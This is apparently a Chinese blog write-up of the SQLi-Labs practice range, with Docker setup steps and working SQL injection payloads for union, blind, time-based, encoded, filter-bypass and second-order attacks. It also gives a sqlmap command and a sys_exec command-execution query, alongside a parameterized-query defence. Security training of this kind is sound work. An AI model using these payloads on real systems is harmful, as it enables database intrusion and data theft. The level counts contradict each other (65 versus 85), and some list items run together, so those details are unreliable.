最近在安全测试领域,SQL注入漏洞始终占据OWASP Top 10的重要位置。为了系统掌握各类注入手法,我花了三周时间完整通关了SQLi-Labs靶场。这个开源项目包含65个精心设计的关卡,覆盖了从基础到高阶的各种注入场景。今天就把我的通关笔记整理成这份万字指南,特别适合想从零开始构建完整知识体系的安全从业者。
SQLi-Labs采用PHP+MySQL架构模拟典型Web应用漏洞,按照难度分为四大类:基础注入(1-35关)、进阶注入(36-65关)、挑战关卡(66-75关)以及盲注专项(76-85关)。每个关卡都设计了不同的过滤规则和数据库结构,需要灵活调整注入策略。下面先看环境配置要点:
bash复制# 使用Docker快速部署环境
docker pull acgpiano/sqli-labs
docker run -dt --name sqli-labs -p 8080:80 acgpiano/sqli-labs
注意:建议在本地虚拟机环境测试,避免公网暴露带来安全风险。首次访问需点击"Setup/reset Database"初始化数据表结构。
第1-4关演示了最基本的报错注入。以Less-1为例,通过URL参数?id=1触发查询:
sql复制SELECT * FROM users WHERE id='$id' LIMIT 0,1
构造?id=1' and 1=2 union select 1,2,3--+可获取字段数。关键技巧在于:
--+注释符避免语法错误order by 4探测列数上限database()、user()等函数获取系统信息Less-5开始引入无回显场景,需要基于布尔逻辑判断。典型payload:
sql复制?id=1' and ascii(substr(database(),1,1))>100--+
推荐使用Burp Suite的Intruder模块自动化爆破:
当布尔判断也被过滤时(如Less-9),需要采用时间延迟注入:
sql复制?id=1' and if(ascii(substr(database(),1,1))>100,sleep(3),0)--+
实操中发现几个关键点:
benchmark(10000000,md5('test'))替代sleep可能绕过过滤Less-38演示了十六进制编码的应用:
sql复制?id=0' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=0x7365637572697479--+
常用编码方式包括:
0x7365637572697479 = 'security'char(115,101,99,117,114,105,116,121)%27替代单引号Less-49存在关键词过滤,可采用以下变形:
/**/、%0a、%0dlike、rlikejoin语法替代示例payload:
sql复制?id=1'%0aunion%0aselect%0a1,2,3%0afrom%0ausers%0awhere%0aid%0alike%0a1--+
Less-54需要先注册带注入代码的用户名,后续查询时触发:
sql复制# 注册阶段
username: admin'--
password: 123
# 登录后触发
UPDATE users SET password='newpass' WHERE username='admin'-- '
php复制// 参数化查询示例
$stmt = $conn->prepare("SELECT * FROM users WHERE id = ?");
$stmt->bind_param("i", $id);
其他防御措施:
bash复制sqlmap -u "http://target.com/?id=1" --risk=3 --level=5
python复制# xforwarded.py
tamper_payload = payload.replace(" ","/*%0a*/")
length()函数验证数据是否存在?id=1' and length(database())=8--+concat_ws(0x7e,version(),user())替代逗号||、&&在特定数据库生效select grantee,privilege_type from information_schema.user_privilegesselect sys_exec('whoami')(需高权限)整个通关过程最大的收获是建立了系统化的注入思维——面对不同防御措施时,要像解谜游戏一样分析代码逻辑,找到最薄弱的突破点。建议每个关卡至少尝试三种不同的注入方式,并记录下有效的payload形成自己的知识库。